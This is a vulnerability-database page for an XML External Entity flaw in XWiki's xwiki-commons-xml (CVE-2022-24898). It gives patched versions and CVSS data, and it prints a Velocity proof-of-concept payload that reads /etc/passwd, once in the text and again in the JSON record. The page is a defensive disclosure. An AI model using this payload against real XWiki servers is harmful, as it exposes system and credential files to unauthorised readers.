GHSA-M2R5-4W96-QXG5
Vulnerability from github – Published: 2022-04-28 19:31 – Updated: 2022-04-28 19:31
VLAI
Summary
Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml
Details
Impact
It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.
For example:
{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}
Patches
The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.
Workarounds
There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.
References
https://jira.xwiki.org/browse/XWIKI-18946
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki * Email us at XWiki Security mailing-list
Severity
4.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-xml"
},
"ranges": [
{
"events": [
{
"introduced": "2.7"
},
{
"fixed": "12.10.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-xml"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-xml"
},
"ranges": [
{
"events": [
{
"introduced": "13.5-rc-1"
},
{
"fixed": "13.8-rc-1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24898"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-28T19:31:55Z",
"nvd_published_at": "2022-04-28T20:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nIt\u0027s possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.\n\nFor example:\n\n```\n{{velocity}}\n#set($xml=$services.get(\u0027xml\u0027))\n#set($xxe_payload = \"\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\u003c!DOCTYPE root[\u003c!ENTITY xxe SYSTEM \u0027file:///etc/passwd\u0027 \u003e]\u003e\u003croot\u003e\u003cfoo\u003e\u0026xxe;\u003c/foo\u003e\u003c/root\u003e\")\n#set($doc=$xml.parse($xxe_payload))\n$xml.serialize($doc)\n{{/velocity}}\n```\n\n### Patches\n\nThe problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.\n\n### Workarounds\n\nThere\u0027s no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-18946\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [XWiki Security mailing-list](mailto:security@xwiki.org)",
"id": "GHSA-m2r5-4w96-qxg5",
"modified": "2022-04-28T19:31:55Z",
"published": "2022-04-28T19:31:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-m2r5-4w96-qxg5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24898"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-commons/commit/947e8921ebd95462d5a7928f397dd1b64f77c7d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-commons"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-18946"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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